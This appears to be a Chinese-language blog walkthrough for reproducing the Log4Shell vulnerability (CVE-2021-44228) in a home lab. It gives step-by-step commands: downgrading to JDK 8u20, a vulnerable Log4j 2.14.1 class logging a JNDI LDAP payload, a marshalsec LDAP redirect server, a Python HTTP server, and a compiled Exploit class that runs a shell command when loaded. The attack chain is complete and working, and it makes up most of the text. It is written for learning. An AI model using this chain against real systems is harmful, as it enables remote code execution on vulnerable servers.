
# CVE-2021-44228(Log4Shell)复现分步指南,使用 JDK 8u20、存在漏洞的 Log4j 2.14.1、marshalsec LDAP 服务器及自定义载荷编译。
我觉得这边的内容更具实用性(哭)christophetd/log4shell-vulnerable-app
因为只是出于兴趣、一时兴起去调查的,所以可能有些地方含糊不清或者存在错误。
请务必自行承担责任。
只要是在 Linux 环境下,应该就能运行。
从 jdk8u191 开始,新增了 com.sun.jndi.rmi.object.trustURLCodebase 选项,默认值为 False。
在这种状态下无法加载外部准备的 class,所以这次我们使用更早之前的版本。
(也许能加载内部类或进行绕过??)
https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/
直接下载 jdk8u20
解压后,随便放到 /opt 等目录下即可。
下载 log4j
解压后取出 log4j-api-2.14.1.jar 和 log4j-core-2.14.1.jar(这次我把它们放到了名为 log4japp 的目录中)。
export CLASSPATH=:/path/to/log4japp/log4j-api-2.14.1.jar:/path/to/log4japp/log4j-core-2.14.1.jar
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class log4j {
private static final Logger logger = LogManager.getLogger(log4j.class);
public static void main(String[] args) {
logger.error("${jndi:ldap://your-ip:1389/resource}");
// /resource がないと動きませんでした。
}
}
mbechler/marshalsec
将 ldap 查询重定向到 Web 端。
mvn clean package -DskipTests
开始监听
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://your-web-ip:8888/#Exploit"
同时准备好 marshalsec 的重定向目标
python3 -m http.server 8888
class Exploit {
static {
try { Runtime.getRuntime().exec("touch /tmp/evil"); } catch(Exception e) {}
}
}
使用安装好的 jdk8u20 进行编译
/opt/java/jdk1.8.0_20/bin/javac Exploit.java
使用安装好的 jdk8u20 进行编译和执行。
/opt/java/jdk1.8.0_20/bin/javac log4j.java
/opt/java/jdk1.8.0_20/bin/java log4j
